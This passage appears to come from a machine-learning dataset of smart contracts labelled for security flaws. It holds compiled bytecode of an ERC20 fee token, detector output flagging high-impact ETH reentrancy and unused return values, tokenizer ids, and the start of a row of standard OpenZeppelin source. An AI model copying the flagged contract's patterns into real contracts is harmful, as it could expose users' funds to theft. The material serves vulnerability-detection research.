160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110229291906129cc565b602060405180830381600087803b15801561103c57600080fd5b505af1158015611050573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107491906126a1565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e90612b93565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111de90612ad3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c59190612bd3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133990612b73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990612a93565b60405180910390fd5b600081116113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec90612b53565b60405180910390fd5b6005600a81905550600a600b8190555061140d6108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147b575061144b6108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118c757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115245750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152d57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115d85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561162e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116465750600f60179054906101000a900460ff165b156116f65760105481111561165a57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116a557600080fd5b601e426116b29190612d09565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117a15750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117f75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561180d576005600a819055506014600b819055505b60006118183061074f565b9050600f60159054906101000a900460ff161580156118855750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561189d5750600f60169054906101000a900460ff165b156118c5576118ab81611aa4565b600047905060008111156118c3576118c24761193b565b5b505b505b6118d2838383611d2c565b505050565b600083831115829061191f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119169190612a71565b60405180910390fd5b506000838561192e9190612dea565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61198b600284611d3c90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119b6573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a07600284611d3c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a32573d6000803e3d6000fd5b5050565b6000600854821115611a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7490612ab3565b60405180910390fd5b6000611a87611d86565b9050611a9c8184611d3c90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611adc57611adb612fbf565b5b604051908082528060200260200182016040528015611b0a5781602001602082028036833780820191505090505b5090503081600081518110611b2257611b21612f90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bc457600080fd5b505afa158015611bd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bfc919061252b565b81600181518110611c1057611c0f612f90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c7730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611107565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cdb959493929190612bee565b600060405180830381600087803b158015611cf557600080fd5b505af1158015611d09573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611d37838383611db1565b505050565b6000611d7e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f7c565b905092915050565b6000806000611d93611fdf565b91509150611daa8183611d3c90919063ffffffff16565b9250505090565b600080600080600080611dc387612041565b955095509550955095509550611e2186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eb685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0281612151565b611f0c848361220e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f699190612bd3565b60405180910390a3505050505050505050565b60008083118290611fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fba9190612a71565b60405180910390fd5b5060008385611fd29190612d5f565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050612015683635c9adc5dea00000600854611d3c90919063ffffffff16565b82101561203457600854683635c9adc5dea0000093509350505061203d565b81819350935050505b9091565b600080600080600080600080600061205e8a600a54600b54612248565b925092509250600061206e611d86565b905060008060006120818e8787876122de565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118d7565b905092915050565b60008082846121029190612d09565b905083811015612147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213e90612af3565b60405180910390fd5b8091505092915050565b600061215b611d86565b90506000612172828461236790919063ffffffff16565b90506121c681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612223826008546120a990919063ffffffff16565b60088190555061223e816009546120f390919063ffffffff16565b6009819055505050565b6000806000806122746064612266888a61236790919063ffffffff16565b611d3c90919063ffffffff16565b9050600061229e6064612290888b61236790919063ffffffff16565b611d3c90919063ffffffff16565b905060006122c7826122b9858c6120a990919063ffffffff16565b6120a990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122f7858961236790919063ffffffff16565b9050600061230e868961236790919063ffffffff16565b90506000612325878961236790919063ffffffff16565b9050600061234e8261234085876120a990919063ffffffff16565b6120a990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561237a57600090506123dc565b600082846123889190612d90565b90508284826123979190612d5f565b146123d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ce90612b13565b60405180910390fd5b809150505b92915050565b60006123f56123f084612c88565b612c63565b9050808382526020820190508285602086028201111561241857612417612ff3565b5b60005b85811015612448578161242e8882612452565b84526020840193506020830192505060018101905061241b565b5050509392505050565b600081359050612461816132b7565b92915050565b600081519050612476816132b7565b92915050565b600082601f83011261249157612490612fee565b5b81356124a18482602086016123e2565b91505092915050565b6000813590506124b9816132ce565b92915050565b6000815190506124ce816132ce565b92915050565b6000813590506124e3816132e5565b92915050565b6000815190506124f8816132e5565b92915050565b60006020828403121561251457612513612ffd565b5b600061252284828501612452565b91505092915050565b60006020828403121561254157612540612ffd565b5b600061254f84828501612467565b91505092915050565b6000806040838503121561256f5761256e612ffd565b5b600061257d85828601612452565b925050602061258e85828601612452565b9150509250929050565b6000806000606084860312156125b1576125b0612ffd565b5b60006125bf86828701612452565b93505060206125d086828701612452565b92505060406125e1868287016124d4565b9150509250925092565b6000806040838503121561260257612601612ffd565b5b600061261085828601612452565b9250506020612621858286016124d4565b9150509250929050565b60006020828403121561264157612640612ffd565b5b600082013567ffffffffffffffff81111561265f5761265e612ff8565b5b61266b8482850161247c565b91505092915050565b60006020828403121561268a57612689612ffd565b5b6000612698848285016124aa565b91505092915050565b6000602082840312156126b7576126b6612ffd565b5b60006126c5848285016124bf565b91505092915050565b6000806000606084860312156126e7576126e6612ffd565b5b60006126f5868287016124e9565b9350506020612706868287016124e9565b9250506040612717868287016124e9565b9150509250925092565b600061272d8383612739565b60208301905092915050565b61274281612e1e565b82525050565b61275181612e1e565b82525050565b600061276282612cc4565b61276c8185612ce7565b935061277783612cb4565b8060005b838110156127a857815161278f8882612721565b975061279a83612cda565b92505060018101905061277b565b5085935050505092915050565b6127be81612e30565b82525050565b6127cd81612e73565b82525050565b60006127de82612ccf565b6127e88185612cf8565b93506127f8818560208601612e85565b61280181613002565b840191505092915050565b6000612819602383612cf8565b915061282482613013565b604082019050919050565b600061283c602a83612cf8565b915061284782613062565b604082019050919050565b600061285f602283612cf8565b915061286a826130b1565b604082019050919050565b6000612882601b83612cf8565b915061288d82613100565b602082019050919050565b60006128a5602183612cf8565b91506128b082613129565b604082019050919050565b60006128c8602083612cf8565b91506128d382613178565b602082019050919050565b60006128eb602983612cf8565b91506128f6826131a1565b604082019050919050565b600061290e602583612cf8565b9150612919826131f0565b604082019050919050565b6000612931602483612cf8565b915061293c8261323f565b604082019050919050565b6000612954601783612cf8565b915061295f8261328e565b602082019050919050565b61297381612e5c565b82525050565b61298281612e66565b82525050565b600060208201905061299d6000830184612748565b92915050565b60006040820190506129b86000830185612748565b6129c56020830184612748565b9392505050565b60006040820190506129e16000830185612748565b6129ee602083018461296a565b9392505050565b600060c082019050612a0a6000830189612748565b612a17602083018861296a565b612a2460408301876127c4565b612a3160608301866127c4565b612a3e6080830185612748565b612a4b60a083018461296a565b979650505050505050565b6000602082019050612a6b60008301846127b5565b92915050565b60006020820190508181036000830152612a8b81846127d3565b905092915050565b60006020820190508181036000830152612aac8161280c565b9050919050565b60006020820190508181036000830152612acc8161282f565b9050919050565b60006020820190508181036000830152612aec81612852565b9050919050565b60006020820190508181036000830152612b0c81612875565b9050919050565b60006020820190508181036000830152612b2c81612898565b9050919050565b60006020820190508181036000830152612b4c816128bb565b9050919050565b60006020820190508181036000830152612b6c816128de565b9050919050565b60006020820190508181036000830152612b8c81612901565b9050919050565b60006020820190508181036000830152612bac81612924565b9050919050565b60006020820190508181036000830152612bcc81612947565b9050919050565b6000602082019050612be8600083018461296a565b92915050565b600060a082019050612c03600083018861296a565b612c1060208301876127c4565b8181036040830152612c228186612757565b9050612c316060830185612748565b612c3e608083018461296a565b9695505050505050565b6000602082019050612c5d6000830184612979565b92915050565b6000612c6d612c7e565b9050612c798282612eb8565b919050565b6000604051905090565b600067ffffffffffffffff821115612ca357612ca2612fbf565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d1482612e5c565b9150612d1f83612e5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d5457612d53612f32565b5b828201905092915050565b6000612d6a82612e5c565b9150612d7583612e5c565b925082612d8557612d84612f61565b5b828204905092915050565b6000612d9b82612e5c565b9150612da683612e5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ddf57612dde612f32565b5b828202905092915050565b6000612df582612e5c565b9150612e0083612e5c565b925082821015612e1357612e12612f32565b5b828203905092915050565b6000612e2982612e3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e7e82612e5c565b9050919050565b60005b83811015612ea3578082015181840152602081019050612e88565b83811115612eb2576000848401525b50505050565b612ec182613002565b810181811067ffffffffffffffff82111715612ee057612edf612fbf565b5b80604052505050565b6000612ef482612e5c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f2757612f26612f32565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132c081612e1e565b81146132cb57600080fd5b50565b6132d781612e30565b81146132e257600080fd5b50565b6132ee81612e5c565b81146132f957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022fd182b67847e2c20b076317748408c1324df0d1ae3fd14884704555e55846764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2050, 2581, 2497, 20952, 2692, 12879, 2581, 2620, 14142, 27717, 2683, 22275, 16048, 2692, 2509, 2546, 2094, 20842, 26337, 2497, 2620, 7959, 2487, 2278, 2575, 2475, 2063, 2575, 1013, 1008, 9092, 9103, 3217, 1999, 2226, 9092, 9103, 3217, 1999, 2226, 1011, 1996, 3611, 1997, 9092, 4478, 3217, 23921, 1024, 1030, 9092, 9103, 26692, 11231, 10474, 1024, 1030, 9092, 9103, 26692, 11231, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,593
0x970aAd14d99Ab8ff4DC699458a2183F44c1A6507
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; import "../token/ERC20/utils/SafeERC20.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns 